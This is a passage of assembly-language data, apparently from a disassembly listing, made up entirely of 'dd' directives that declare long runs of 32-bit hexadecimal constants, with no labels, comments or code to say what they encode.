		dd 1BD46948h, 17A4B235h, 0EE143793h, 5E92320Dh,	2BE5BE6Dh
		dd 848CDAB4h, 4E87751Bh, 0E264D019h, 746F2DEDh,	4A541823h
		dd 5DC7C6DCh, 0A4F0BB18h, 0CD22CD9Eh, 718E4B63h, 0C529B8EBh
		dd 0E35589CBh, 50CC0CA5h, 0E37F248Fh, 0C1AC6D54h, 798F339Ah
		dd 4678E148h, 0EC726600h, 0D194FFA8h, 0CE0AD564h, 2A443FA7h
		dd 814A61B4h, 2631AE3Ch, 0F0B0BF20h, 16ED55E0h,	0E11BF2C2h
		dd 0A722C995h, 0B3E6414Dh, 0FBBA9215h, 0D825CBA3h, 0CD1364C9h
		dd 0A9A6933Bh, 157C59Eh, 0C52FF41Dh, 0D459A616h, 0F617EF52h
		dd 4BDDA818h, 0C7BEC4B6h, 7EA88E96h, 1F6A99B6h,	632FB111h
		dd 5ECE2116h, 6B7564FBh, 4EA3FA07h, 4587D329h, 1E8546D5h
		dd 6BCC9B74h, 61314B99h, 3F6014Eh, 0B1155DE8h, 78F29DE7h
		dd 831726C5h, 2684D3BBh, 0F0891F55h, 957CC86Eh,	0AA7E099Ah
		dd 0DE0272E1h, 0E89A32E0h, 6526F210h, 0CD876F34h, 0FA247929h
		dd 3FF0A9B3h, 0D9538690h, 0ECD1DCB6h, 0D90CE462h, 0FF197372h
		dd 0CAC0CA2Fh, 42BFD72Ch, 0AD17C563h, 3E2EF549h, 417AE92Ah
		dd 1003FEC9h, 22CB7CE1h, 0A0534597h, 84A0EEE5h,	50EC1929h
		dd 0FBC5BEE0h, 0F886A07h, 0E672BD22h, 5D4E6ECEh, 0BBAC785Fh
		dd 71A45217h, 0B7EBA286h, 84588C81h, 0EED89374h, 3867687Ch
		dd 8C9C50DEh, 2D517369h, 0F208919Bh, 795A4E19h,	70C395EDh
		dd 131B3FD0h, 0FAD53581h, 0B9C75351h, 0C5ABA456h, 0A1CD3065h
		dd 0DFD9AA35h, 0EF8D0BBAh, 10ADA284h, 30107C04h, 0FD62206Dh
		dd 0F876D699h, 0A2957A5Bh, 9900E6E5h, 0E6F4EF27h, 0B25C3B0Eh
		dd 9778F178h, 73F3DA61h, 80D5375Dh, 0FE6AC86Dh,	4719AC94h
		dd 42B19029h, 18A2AB2Ch, 72C0F38Ch, 451542AFh, 6590625Fh
		dd 59411DD1h, 9FE2C0A1h, 51801F55h, 0DCD89B96h,	32122389h
		dd 0D3EDB9B5h, 0A28BC3C7h, 0D18FA80h, 0EF26353Ah, 3D86719Bh
		dd 9A467891h, 69FC25C8h, 5BC7C870h, 0D52FAF54h,	9BEC2960h
		dd 7A784781h, 747BBB08h, 0B5D8D44Ah, 0D05DA7D6h, 733E3D96h
		dd 8386010Ch, 0C267D9E7h, 9BFA2C54h, 0A2EAC4A6h, 492FEC3Dh
		dd 90EA6802h, 0C742B647h, 26E2C6AFh, 89F71BFDh,	0A9509517h
		dd 0B2EE9C5Ah, 2383DC61h, 0A968309Ch, 643C51D3h, 471BA78Bh
		dd 0AAFFEE2Fh, 0B4E9D128h, 0DBE17B13h, 4384AD05h, 0A5E85164h
		dd 950E57AEh, 0C4E3CF17h, 44D7F3B8h, 9487A3FFh,	0DC12668h
		dd 0D5D7A41Dh, 9972AC15h, 0EA959DD7h, 47EC925Fh, 0EA4196CAh
		dd 0C91462FFh, 83C911A4h, 73159DDDh, 0BE9A14EEh, 0EE9B1DC9h
		dd 58C8305Bh, 201069A1h, 800FEEE0h, 4C39812Eh, 5AA0FAD6h
		dd 84E2C2Ch, 0E6F2D7F7h, 39E73BB3h, 667B2223h, 0A6021E70h
		dd 10355A2Ah, 7608B404h, 0E5BC01F5h, 0FF9E8DC4h, 3D63FAEAh
		dd 9C8A91F2h, 0E3B9508Ch, 21200141h, 0F8D3208Bh, 0A536B804h
		dd 65DBE9EFh, 0EF3B834Dh, 0FB663A12h, 516671Fh,	7E7F6B64h
		dd 0E634C7B8h, 7539154Fh, 0A0141AF5h, 353C84E0h, 0BBA40C95h
		dd 28982CAAh, 22D3E331h, 0B4062C8h, 5AAA5885h, 0C9E5C5FFh
		dd 0FBFFA3D6h, 0CB7D7D1h, 446ACF70h, 9EF0FC61h,	3D73AE20h
		dd 38E65478h, 0D2A5DED3h, 126C85F0h, 8CE056FFh,	0FBB39300h
		dd 0B9AAA864h, 7729A6FFh, 9E859B48h, 0ECB5728Ah, 0B8DDB1A5h
		dd 0D0A9F461h, 759B0EDAh, 85E44519h, 209BCA0Dh,	0E8CAC47Ah
		dd 7A412D5Ch, 16EF2055h, 9026F552h, 0F2E7759Bh,	65F0CC40h
		dd 0D1B111C1h, 0F3BDF8D5h, 31E1E9C7h, 0A47408D2h, 0EB6EC9FBh
		dd 0E9E0A09Dh, 0AC23DF86h, 0EF9E210Fh, 4F95DF18h, 75BBE749h
		dd 0DEA15DACh, 0CD581F28h, 2B7AFB4Bh, 9CC8AE7Ah, 250515A9h
		dd 72800C3Fh, 0FEC3D661h, 4C92A585h, 7A8E9E67h,	0F5B5BCB3h
		dd 0DC5DB02Ch, 80D3C3E1h
		dd 5AA8E778h, 30B7B53Eh, 0D792B6C4h, 3D2F1316h,	0BC035310h
		dd 0AD850306h, 6DF0DB55h, 1D8F2F65h, 0C10CF906h, 2C7C1038h
		dd 0C3D99BBFh, 83395C09h, 349EB2D1h, 28B7C65Fh,	0C338DF47h
		dd 2030E3B4h, 5654966Dh, 9888B81h, 977ECC1Eh, 0D72227C3h
		dd 9F04BA3Ah, 9C4E0BC2h, 8217DD85h, 0A22CA428h,	1D62C286h
		dd 41EEC0BEh, 77C659E0h, 82B56229h, 6B9A42E1h, 85E71D5Ah
		dd 80450959h, 0E89A7371h, 0CC525128h, 65ABD85Fh, 7F90D6D7h
		dd 58DDAF28h, 9FFE1D6Bh, 0F9CB5FBBh, 198A4320h,	6E62C0D1h
		dd 0CF9CEFE9h, 0EE5330C4h, 9FDA9DF8h, 39BC7467h, 0F082161Ch
		dd 0E3291107h, 0A3BEFD09h, 0E1EBF390h, 0AD804EEDh, 0BD71AA89h
		dd 43C7BC1Fh, 572D565Dh, 2A8FDF5Fh, 1C6421C0h, 5B5852E4h
		dd 8B3F1476h, 726C8356h, 27E2FA7Dh, 577436CDh, 354866A1h
		dd 621050CEh, 9C67430Ch, 28E951Eh, 0D24D4842h, 5831F2D4h
		dd 0BD164723h, 3C676E22h, 5C4297B5h, 5D64494Bh,	49362DF7h
		dd 4A95ED04h, 0FEC9511Eh, 0D459B31Ah, 3386AF2h,	0DE3DD7F3h
		dd 0F11588AAh, 113FB6A2h, 0E5CCF7C7h, 84F0BBD4h, 0F073E950h
		dd 35365CAFh, 0C6F91480h, 7CEE5974h, 1F983A4Ah,	0B1CE5FC8h
		dd 41D0F967h, 0DCC98949h, 0A7B019ADh, 0C3DD1FDDh, 30A9C19Dh
		dd 0F424ECB0h, 0F982234Ah, 2A64B117h, 85BDE2D5h, 616B93D8h
		dd 99E21EB2h, 91EC69D8h, 7849B471h, 0CE9FADE4h,	260338Ch
		dd 60B0EC15h, 36D6AEC7h, 55EA7461h, 7CA6E56Dh, 0E011481Ch
		dd 4B3535C1h, 0E2AED94Eh, 0C811F1F4h, 2AA795EFh, 6AEFAE77h
		dd 0AB3424A0h, 0F65DFCFEh, 7E7CD9DAh, 0C2C59CEDh, 0C43EAA0Ah
		dd 0AE9CC823h, 3B86603Fh, 1B78006h, 70AEF94Fh, 0B0DAFA78h
		dd 6C18360Fh, 0E0115DB7h, 0AFA8C36h, 0DC45BAAEh, 31A74385h
		dd 9C960CDEh, 0F5A6D249h, 735DA748h, 82F8397Ah,	2E1F10A9h
		dd 0E70C9900h, 0EBBF2AA3h, 8A0A504Ah, 0DB8FF973h, 0F9C64722h
		dd 0CF9C90D1h, 14255616h, 0A76B0864h, 0E9252A3Ah, 0DFF119F3h
		dd 0A14D60B1h, 0A1AF722Ah, 0F90E90B8h, 0EF99F98Ch, 90396EE4h
		dd 0E4AF41FEh, 41284DDCh, 9409C465h, 223B23DDh,	2456E4F1h
		dd 0EFA8D0C5h, 0C5DB70C8h, 34E113C9h, 10AC9F80h, 875D1F7Fh
		dd 3D1816D0h, 18F0BF06h, 0FCC5DE89h, 1502EA0Dh,	506E0834h
		dd 501F3D25h, 33C3C4CDh, 8D16D72Dh, 0E85E34E6h,	0EF351D51h
		dd 0DFEEEA58h, 22909467h, 8ADE0C7Ah, 8253FA27h,	347CF15h
		dd 8DDFD354h, 0DEB7B0A8h, 35F06944h, 92EACC39h,	8C7AAC3Fh
		dd 893374EDh, 63EC52ADh, 444B2100h, 6545D942h, 85EA292Ah
		dd 0F4B77192h, 0C5A7F901h, 0F6D53E07h, 0A5589CDh, 8DE55E23h
		dd 2E31B5D5h, 0D2ABD928h, 14697E6Ch, 46D8057h, 0A3BAA4FAh
		dd 0ED6F9C17h, 4C55E8DCh, 0C6009311h, 0EC0A001Dh, 652BFB4Bh
		dd 0D59A99Ch, 59BEB2Ah,	1078790Dh, 3C487D42h, 0D442BA45h
		dd 0F2B972Ah, 71928FDEh, 757231D9h, 1BECA412h, 8B0B3C1Eh
		dd 7E63F35Ch, 14C7218Eh, 71EE8C36h, 0A99072F2h,	3D3620A4h
		dd 91D90F46h, 0A22D1A1h, 0DF768D43h, 680ABF53h,	7D2EDAFCh
		dd 0BE48098Bh, 779A8A13h, 581F1E15h, 1F52F5DAh,	0AF688E2Ch
		dd 0D8C23C38h, 0A593CDDh, 0ACB26844h, 980AD2A7h, 8B36FCFBh
		dd 35F3E0B5h, 8B4E942Fh, 0B4C0F44Fh, 332F80E1h,	8BEB3C44h
		dd 0CC84D255h, 96867DD7h, 9337BBCh, 4EB4ADA3h, 0A507BEF0h
		dd 0BD8F685Eh, 0F73EAA12h, 77F2C113h, 0E3E81352h, 8D6AE593h
		dd 0C1880Fh, 0EEE0650Ch, 8A4C0EFh, 69615502h, 0A987DD5Ah
		dd 80D09479h, 0AFAF3416h, 4BCEBE9Fh, 7DA761FDh,	54B1125h
		dd 0D919B18Ch, 58F57E12h, 0C005C79Dh, 24DC8A28h, 0F32C21AFh
		dd 5ABA87FDh, 0B74F8431h, 3146319Eh, 0D1B84DDh,	24B2BC05h
		dd 3529B0B2h, 421100D8h, 0B5CD8432h, 0C2AC0A6Bh, 8472BB4Fh
		dd 0E1E24627h, 84DB107Ah, 16D387DCh, 90E31CA3h,	3AC5A457h
		dd 833E3458h, 19FB3E1Bh, 0A08F0607h, 0C7FDD777h, 7125D5BCh
		dd 3E29FE78h, 0B9461465h, 0A5A3E335h, 0A9871A79h, 4A80495Ah
		dd 110E6F93h, 4BC5C6Fh,	2113F875h, 27847C11h, 0DAC32AECh
		dd 26A88D27h, 9A936807h, 1589F3FEh, 0B3BA5433h,	127781A0h
		dd 8B4B0505h, 796EDC35h, 0B44B86A3h, 0B90AD1C3h, 0A90FAD19h
		dd 15548226h, 0FD5D9A5Fh, 1C7212Fh, 0C61A464Bh,	91D4821Ah
		dd 0CE53B6C2h, 0D309D471h, 1485AC1Bh, 2CCE9150h, 0CD23DC2Fh
		dd 7BED4473h, 48A290DBh, 0D5A056Ah, 0F5ABBF9Eh,	46C8DBC4h
		dd 9197256h, 5FE20685h,	0A468117Ch, 0D61DF650h,	5BDB98CEh
		dd 1EF712B6h, 0EC845834h, 0BB274A68h, 6CCD87E5h, 4207C7BEh
		dd 654AFD0h, 0D819CECFh, 65666E6Fh, 2605AEB4h, 0E29BB514h
		dd 0A672FBDDh, 0FE8BC502h, 249A3476h, 3345879Eh, 87783014h
		dd 16EFEFC7h, 9D3DBDE2h, 0AA275F45h, 9143F22Eh,	16AA3F9Bh
		dd 66E2EEA3h, 0AC374620h, 7FC22086h, 28778C72h,	3516EA19h
		dd 70E88A56h, 0AEE4AC7h, 7EBB3567h, 6F4799E7h, 856DC63Ah
		dd 0DAFF0EFh, 9DA7A787h, 1D84796h, 6FCA341Eh, 0FB677F5h
		dd 3D8736BBh, 85D4C773h, 3A697AB5h, 0C6F401ABh,	0EEBE0A0Eh
		dd 605A35C5h, 71CC792Dh, 9EB062C9h, 370E40D9h, 0D6D3D4FAh
		dd 8221C42h, 0BD92B060h, 0B7F05CECh, 1500A61Fh,	94B6F08Eh
		dd 0C245B884h, 0C213D838h, 63A6A94Dh, 7C67DAFFh, 9DE27534h
		dd 9935AC4Eh, 55C93F1Dh, 1F12F73Ah, 0B32F51A4h,	49C7347h
		dd 72B69163h, 89B8A7B4h, 0B28E48CFh, 42069392h,	530B3CFAh
		dd 964DFBF3h, 0F555CF53h, 0A916A7EFh, 0D04B94C5h, 3FF50346h
		dd 8FF1E4B5h, 737E600h,	0F221265Eh, 79AB1BCh, 770F9DB9h
		dd 12027267h, 6E7A5F7h,	0B1D7FB66h, 3396B7BAh, 0D94DE2E3h
		dd 35846EF3h, 6E38C1A5h, 0EF628548h, 0E7BDA484h, 478852Ah
		dd 0C50FE2E5h, 0E61D5E20h, 5D09167Bh, 7DF0522Dh, 0C34BB986h
		dd 4F30AE5Fh, 19BC98E6h, 6BEF10F1h, 0F58C6C1Ch,	0B07B6FE9h
		dd 0C5DAC067h, 0C03D406Ch, 296209C3h, 0A7FA0C30h, 80F5DC4Bh
		dd 9793BE5Ah, 771BA793h, 8DAD1C97h, 14D26148h, 30DFA51Bh
		dd 6D2F2949h, 5E985ECCh, 82560F43h, 84CA4690h, 0BF3948E6h
		dd 2BD95D46h, 0E06152D2h, 274B3B10h, 0CF6E01D3h, 296EC4EBh
		dd 0E242966Ch, 0FC246C82h, 120574CEh, 128A3BE3h, 3C8A6CBCh
		dd 83A23BB8h, 1992BB60h, 38205BDFh, 0A973CD11h,	46A327D7h
		dd 0CFFC3BCDh, 14C94971h, 1FFAEB19h, 723087Ah, 4A0668DEh
		dd 74AA822Bh, 0FF06B960h, 0C96C0C02h, 58140D72h, 0C8FEEACCh
		dd 0EC7A135Eh, 7E9AC64Fh, 98C81F6Dh, 9EFDEAEDh,	7C549996h
		dd 0BAD0914Bh, 7E8AA09h, 69AAE3B2h, 6AA84E52h, 6FB563BBh
		dd 2CB4BC09h, 0BA3712C6h, 0B178F7DDh, 0FAF553Bh, 5C2D6A47h
		dd 2AFC63D9h, 5DBDAAECh, 5FABE011h, 610E614Bh, 4721C72h
		dd 0F1EC91h, 3E265B42h,	872E54EBh, 0C095095Dh, 7F7438DDh
		dd 0D34EFDAFh, 9D692BF8h, 40DBA206h, 5E6A7891h,	7A7C8879h
		dd 97DD44E9h, 0E0008689h, 0B69C2711h, 2BD5760Ch, 24493F84h
		dd 9E542B39h, 25BDA680h, 0B311960Bh, 0CF84A581h, 0EF7AE1C1h
		dd 0F4D8E2E4h, 3EC297BDh, 0E6C7AAB3h, 945883F5h, 0CBD17C6Dh
		dd 4CE91104h, 383A82C8h, 3C53806Ch, 2C754106h, 7ECA1B3Dh
		dd 5477BCA7h, 0C9935BFBh, 0BD8D7DCBh, 0B1FD29C0h, 4C89EBAAh
		dd 9343024Ah, 0E1AD6026h, 0DADB78CAh, 0C9D28025h, 15D6674Ch
		dd 0E8C51F46h, 0B9E509h
		dd 0BD8882Ch, 37243460h, 0B560469Ch, 2DEF6F50h,	0AD720AA6h
		dd 698F77BFh, 0AC50F4A9h, 0A18F9801h, 1C0CF9CBh, 68D9BFE6h
		dd 75A9131Ah, 0CD1BF9E7h, 29E9A34h, 0DE838E27h,	9AFF3CDEh
		dd 6B7EB479h, 0A832F516h, 891FDEA4h, 0BE09A4E6h, 24DB574Eh
		dd 4F1A738Dh, 0ECC5626Ah, 8B8FEE94h, 4FD449E1h,	6DCC756Ch
		dd 22C9F798h, 0C0069802h, 87ED0E3Eh, 0B62B770h,	0A0BD26D4h
		dd 21C4F4E0h, 192A8552h, 0EDE3A2EAh, 636D2084h,	0D92F6A84h
		dd 476CC4D1h, 1142AD7Ah, 784C481Dh, 91E9C38Eh, 0B9368079h
		dd 0AC806EECh, 0C51C9A10h, 0FC3231F0h, 0A52E2959h, 4D1F1C1Eh
		dd 0E55AE021h, 0E8507D89h, 0F79E70F3h, 1BB32D16h, 0DD85F19Ch
		dd 5C7CE123h, 0FB960594h, 24A4D49Eh, 17D3CFBh, 4F04698Ch
		dd 0F63AC9D0h, 83A0156Ah, 0F5A9B49Bh, 17789023h, 0C23A45Ah
		dd 6CE06139h, 0A27A1B8h, 0A196D163h, 8009EEF7h,	7669F3E7h
		dd 6AD3AF42h, 252CA00Dh, 404197F0h, 0A5155505h,	0F5CDEEABh
		dd 0BED95ED9h, 309CDD93h, 0A6DBFAB0h, 0E638E715h, 78058CC8h
		dd 2F12B0A4h, 1E6E3D0Dh, 0AF6F6C6Bh, 2134EB6Bh,	0E6916180h
		dd 8C1F5027h, 0BE2710B7h, 5B629DBDh, 0B5F7EB39h, 0BD0C594Bh
		dd 2DF1F1A3h, 59163611h, 0D3CE8674h, 0D00CA3A5h, 2A5FF79Ah
		dd 0B1714ACCh, 0CF28E604h, 0DFAB547Fh, 0C613EE80h, 8E04EE51h
		dd 6FA5C3A7h, 8848408Bh, 6E87898Eh, 0D7D72738h,	3A6610FDh
		dd 0A3A9B02Dh, 0F430CCABh, 0E29FFEAEh, 0D8D7FD31h, 0C0E7F5A8h
		dd 3CFBEB0Dh, 6C35C289h, 8DCE4373h, 1A0637CEh, 515A22F6h
		dd 0C01D09D9h, 1B6CE205h, 0B7D35B67h, 0EDB5436Ch, 1E2FF4C6h
		dd 31226971h, 0DE9FAE2Fh, 74DC0547h, 90DAC272h,	0B88EEFFFh
		dd 4B7FB405h, 8FD44BF4h, 0FA37FE78h, 9311371Ah,	9E52C0E0h
		dd 40B90EE4h, 64E5DB1Eh, 677912FEh, 0D0842B46h,	11C143D1h
		dd 28FEF681h, 6A250D8Eh, 0A6279D85h, 0D47C641Eh, 4B5C8957h
		dd 1BC3EB5Fh, 824F38B6h, 89A2FFBDh, 0FCA37FF6h,	9894E119h
		dd 0F948FC65h, 0F7A64524h, 7DEA6F8h, 76288018h,	5F58849h
		dd 1EDCCDABh, 55379AE3h, 2929801Ch, 0CFDBF8E3h,	1EFD9BF1h
		dd 0DC33E08Dh, 0CC843E9Eh, 9DBDFD7Ah, 0E0FDA200h, 65AFCA4Ch
		dd 71EF6CEAh, 0CB72E925h, 0A5F325CCh, 4B97F33Fh, 0AD35BA1Bh
		dd 932E37DDh, 3C5AFFE0h, 0C549E354h, 0E6D91ED2h, 0D84CC96Fh
		dd 0AD6EF05Fh, 1EC21A16h, 0F0561645h, 73D585D1h, 87FC9DC1h
		dd 1ABDE023h, 6E7FC4F9h, 0B4BC31EAh, 2DD0782Fh,	2619A0AAh
		dd 0C18F9120h, 0ABBBBEF4h, 2A856A8Dh, 0BF97E059h, 5CB88DCBh
		dd 0D8914C40h, 0CFE6C2D1h, 0E43D5DB2h, 0A234E259h, 1918265Dh
		dd 0A52FAFB4h, 282A95FDh, 0F3DB71Dh, 0EF4F681Bh, 9B8E6CF3h
		dd 5B3606h, 67EFB31Ch, 4C6586CCh, 64575E8Bh, 0E8F6BBA2h
		dd 799DAA1Dh, 5B205571h, 2D4ECC6h, 212E105Bh, 0A359C3Ah
		dd 8CA858A1h, 11CBF51h,	0B724D16Ah, 631EB974h, 0E4313B14h
		dd 0F534CDB7h, 0A3A77B94h, 0FB0352DAh, 0A42EF39h, 4F0ED758h
		dd 7E0AB916h, 7096A393h, 71D5635Ah, 5F305A8Ch, 0E7BFB4CCh
		dd 5AE9DA0Ah, 0EEE01989h, 0B5EC0BC6h, 0BE8E4B93h, 5F6F4B4h
		dd 0EE6B462Dh, 5BC619ADh, 0B3FC6A4Dh, 382F93B2h, 4AFDF6BCh
		dd 0DC11C3DEh, 0AD57B07Bh, 0E0209420h, 0B4F19846h, 9AD7C0A0h
		dd 0DCF68E7Eh, 0ED6057BAh, 81CB38DFh, 4FAF1971h, 0E8B5058Ah
		dd 0A872FD4Ch, 2332C467h, 0CE3CA68Dh, 0D9C8E03h, 0B4447EB0h
		dd 28EC3D5Eh, 4EEFC55Fh, 48A8E06Ah, 0D946066h, 0A13DB97Fh
		dd 0BEF66362h, 722CC012h, 0BF3F33EBh, 0D4A96C94h, 9A6A156h
		dd 8044E7F6h, 27A9B2A0h, 50097C95h, 0A26EB9B3h,	3104A2F7h
		dd 0ABFCFE26h, 16E100BBh, 58601E94h, 0A69C2591h, 8A555C32h
		dd 0FBE70914h, 270836BDh, 0F630B5C5h, 1BC6E1F6h, 4D3A5E0Eh
		dd 0A2744F23h, 27124EC8h, 383B118Ch, 1DBB21CEh,	608A693Dh
		dd 33F52186h, 583B5D7Eh, 0A0DEDCCh, 0ECF64386h,	0C12840B5h
		dd 8DE8FC78h, 0B4C706EFh, 1D8C6F14h, 9D985BF3h,	0E4882FFh
		dd 571C2Ah, 95997A8Ch, 55C90EA3h, 0CC6AECDEh, 27619A12h
		dd 0C8F75BCDh, 55F8C078h, 2F3D0989h, 2E59927h, 0EE3F470Dh
		dd 4EBC863h, 0C8AC301h,	7B13AE55h, 215312DFh, 6D64EC85h
		dd 97B14DD2h, 65265ACAh, 0F23EA55h, 0CDA1DF0Ch,	0DA2E25A6h
		dd 9533088Ch, 6B53BC4Bh, 0D8A4280Dh, 1B426BBEh,	0AB178BEBh
		dd 6BAD5DEEh, 0C942F430h, 0E86EFC6Dh, 0ED335B68h, 0E279DAD2h
		dd 7C4C2E96h, 0B943DF26h, 59CC2A4Fh, 8339225h, 19634ABEh
		dd 0BA523D68h, 0EA7C6507h, 0F6186CEAh, 9B0BC29Eh, 7BD349DEh
		dd 0D6EC3DF8h, 2BAADDCDh, 96900617h, 44DEA87Bh,	1B597DDEh
		dd 7A798A3h, 222F74B6h,	0A7DDE39Ch, 917D6F08h, 18B87488h
		dd 7B78628Fh, 9F279961h, 9E7988E1h, 1F66C10h, 13EC5CE6h
		dd 0D305070Bh, 230AFE5Ah, 0EAE13E6Ah, 0DFE5F946h, 7BC34DE6h
		dd 0A9EB7AECh, 0ED8E3D49h, 0E778A10h, 830E03C9h, 39BBD19Dh
		dd 5C3DAC07h, 0F7B700FEh, 0DB1A0681h, 9A0DAD3h,	3D736CA1h
		dd 0FE30FA3Ah, 333FB18Dh, 7B08B25h, 917F2843h, 0B1AC4A0Ch
		dd 88D742EFh, 252CB2B9h, 9555818Bh, 0FBD54B0Ah,	0AA73AD5Fh
		dd 0D1C82F2Dh, 0F202F736h, 41FACBD0h, 8DB562A3h, 5255A756h
		dd 0D6BA7F4Dh, 554A2C81h, 891862Fh, 0C554640Ah,	0FD483C83h
		dd 9F63C2C8h, 293E0E1Bh, 9531676Eh, 79D3EE82h, 3C62C604h
		dd 20F7C2A7h, 629BA6D4h, 0ED94A553h, 0B24BF1F7h, 0C23378CFh
		dd 609CE821h, 0EE91DDCDh, 37D21B0Dh, 2839768Ch,	0DBB0B5B2h
		dd 292BE298h, 0C41D0A95h, 0DCCE5646h, 0E5A9DBEEh, 0F671B4B4h
		dd 0E290673h, 0C5090533h, 1BE2B916h, 0A7722EECh, 0A6090ACBh
		dd 5591A7D6h, 97A19D42h, 876C50F8h, 2C5AA8B5h, 0D3DA4E1Ah
		dd 757D0134h, 0F949F8D7h, 50732F67h, 1BC4A0BAh,	79C63EA5h
		dd 0B4EBDC6Dh, 2CCEB8A5h, 859994Fh, 45D80688h, 414BE1CDh
		dd 23C0ABC7h, 0CE1CB7F3h, 1A9C383Eh, 0E3FBA121h, 0A43FA53h
		dd 43D2E9AFh, 2E8AACA9h, 791B1C2Bh, 0F718EBE8h,	12E4323Fh
		dd 0B1479EBEh, 9E845F02h, 0F01B4663h, 0F0FF9FB5h, 0FBE7BBBFh
		dd 83512968h, 6AD267E3h, 0E600E29Dh, 0D040DB1h,	9754844h
		dd 485B9A8h, 3AAB708Dh,	0B4618B2Bh, 0AC52348h, 4AC2829h
		dd 3D0D6A7h, 42B1148Bh,	5D2E8AC5h, 9E81E9B4h, 2D14CFFh
		dd 787164B3h, 26A9708Dh, 11FBFF58h, 12CF603Fh, 9D4E626Fh
		dd 1CF563FEh, 591BEDD5h, 72E456EEh, 53BAEB5Dh, 8A95CED7h
		dd 0C38B26Fh, 4E4C0610h, 68D5733h, 0EBA0335Ch, 63CDE292h
		dd 1310398Fh, 7D1E6B47h, 0AFE91F91h, 0C6A9E877h, 479A4024h
		dd 0C4125534h, 420B3F63h, 0FAA928E1h, 546DE0D1h, 0D677204Ch
		dd 0D439F842h, 5F6D9A05h, 0EDB4FFD9h, 100A8CAAh, 74CF5CDDh
		dd 5F4163Ah, 7A215EFAh,	0A282A726h, 0FE9201A7h,	9F3B53EAh
		dd 17DF8894h, 43E385BCh, 772B3D0Fh, 3A64D2ADh, 38AD133Ch
		dd 0AA62A026h, 0E900AC19h, 6CC38010h, 491907D0h, 0F52A90CAh
		dd 14C52AE1h, 0F0C09237h, 0C069832Ch, 21A7444Eh, 1141B845h
		dd 0A051DCAEh, 9EE7AB27h, 0D22AF94Ah, 3FFAA84Bh, 0D6B1F818h
		dd 7FBE52A2h, 21458FDAh, 4E797F77h, 0BAABDD7h, 676654ABh
		dd 4B9B8CB2h, 85A29042h, 5196C600h, 5A62BC46h, 43D2B93Eh
		dd 558915AAh, 3553350Eh, 0B017B018h, 0CC7EF646h, 5B295CAFh
		dd 2682774Eh, 0CF937B7Fh
		dd 0F66C21D6h, 0F8A7210h, 0EC321149h, 94E63FB0h, 8FBB0737h
		dd 4F8D2005h, 4BFBA841h, 525A96h, 0F7AC062Ah, 0F21556B9h
		dd 61E4F17Ch, 6493AADCh, 11E27853h, 0FD545B3Ah,	0EA93A803h
		dd 0FBE78C03h, 6783A450h, 0DF06EC8Ah, 0A7F02FE1h, 0A75641BBh
		dd 75ABA217h, 4C95B90h,	26BD599Ah, 8B94A8DEh, 95CB6E3Ch
		dd 0CF099CD2h, 0EED98B6Eh, 77E444F9h, 0BBCE365Dh, 57344A84h
		dd 1B644261h, 0DE12856Fh, 0B76303A5h, 0C983172h, 3B929D89h
		dd 5C6C230Eh, 0A780B621h, 0C783831Ch, 0F702762Ah, 0B14A5DE2h
		dd 0F1114393h, 0D5F9E361h, 939CBB0Ah, 5A5D62F0h, 2C2A4BC1h
		dd 743844E1h, 0B7CF61C0h, 9A9051EAh, 0DE5575A1h, 5E7A3196h
		dd 0F2A89667h, 93A4BD68h, 0D9B5AF24h, 0F433AEC6h, 73FC93Ch
		dd 92B04C16h, 9BA2942Dh, 0F7DA5B6Ch, 6DED5F15h,	8D8559D8h
		dd 1422646Fh, 0EE9AC822h, 5C8F40F2h, 15512A1Bh,	0FEB2DB8Dh
		dd 1397A2DCh, 10E8BE7Ah, 60C662F4h, 455A6E6Eh, 82A4F286h
		dd 0ACF8E6D4h, 0C2F7A6ADh, 1D970B34h, 6DDE61E2h, 7481C33h
		dd 0E115456Fh, 65DB1CCAh, 1DAF3F9Dh, 93D36AFDh,	0D3B45552h
		dd 4BAB30CBh, 665383B4h, 0AA099F25h, 0FFE11608h, 0CA42404h
		dd 775C0E84h, 0DCF6FAB0h, 7A57DC3Ch, 0C9E77F2Ah, 4E4008ADh
		dd 90ABD37Eh, 9AE3928Bh, 16529739h, 1F9CE0BBh, 0AEB42326h
		dd 0BDB53FA5h, 0FA4D79F2h, 0C41890B1h, 593A0E6h, 676841C3h
		dd 1102C7E9h, 90CD2FA1h, 0E8DC9953h, 3A16FF51h,	0CE806050h
		dd 0FD664A24h, 58A724A0h, 67A2FE80h, 91082652h,	4FA47A58h
		dd 7A96E99Bh, 6A969D32h, 0FACDC249h, 0F4745762h, 633CBBF0h
		dd 0C38E9043h, 9A71387Dh, 0ED99D710h, 29649CE7h, 0E3187747h
		dd 0C8767524h, 93E26759h, 5D1CB97Fh, 1CFAF774h,	23B4ACA2h
		dd 638FE2Dh, 3C6154E0h,	860BC922h, 0F8FD9B4Fh, 85227F09h
		dd 0E3EFF7B2h, 678ED76Ch, 952EB5CCh, 58C8F59Fh,	1D18E7D0h
		dd 957558A5h, 0BE40A3A2h, 0A59D89C1h, 3D0B90DFh, 9619F849h
		dd 0B415F54Ah, 186B2D1Dh, 0B518608Dh, 6A72C379h, 0ED33F347h
		dd 0A7CC56ADh, 89612403h, 3F942DA0h, 4804276Fh,	32463C80h
		dd 98D81CB1h, 29E1C84Eh, 0C24EA7E5h, 0B2C0278Eh, 0EB91E53h
		dd 4C6C19h, 6D0B55BFh, 83B92819h, 61361DE1h, 0B25B880h
		dd 7D854749h, 0AC11B2B4h, 66176C9Eh, 0F1FD1618h, 0F38DF88Fh
		dd 0FB29A2DDh, 37F85F19h, 80BBDB2Dh, 48032DC2h,	3DEC1363h
		dd 53100F2h, 4B8E3CA9h,	0C0E1AAD1h, 0DD3171B5h,	0F882A374h
		dd 45319952h, 8075448Eh, 0A063AC4h, 79C649B0h, 0D0EE7CE7h
		dd 0AD98030Fh, 76557A8Ch, 6AB16B85h, 463BAB8Ch,	9187DD3Eh
		dd 0CD13070Bh, 290A625Ah, 0B54B49CAh, 0E6DE1CB1h, 59051ED9h
		dd 82FF1C52h, 0C8463D30h, 76B31E87h, 0A2A30496h, 3313DC23h
		dd 8881BB56h, 0D6D7FAEEh, 22F0B6CBh, 0DC085004h, 8592DDAAh
		dd 7D3C72ADh, 0D8DB77B7h, 5AE0F0DDh, 0A924214h,	6C0725B0h
		dd 0CE605E73h, 0CF6B6B7Eh, 72CF42E3h, 62857E1Eh, 561B79B2h
		dd 2F828435h, 0E237BBB2h, 900E28EEh, 4E95F27h, 62B732F1h
		dd 11388557h, 0A2E6E244h, 7CC6EC4Ch, 0E05A9262h, 0DE592C6h
		dd 28F36541h, 0A3B58F6Ch, 0E89F9AC8h, 0E891D904h, 2E2C5C60h
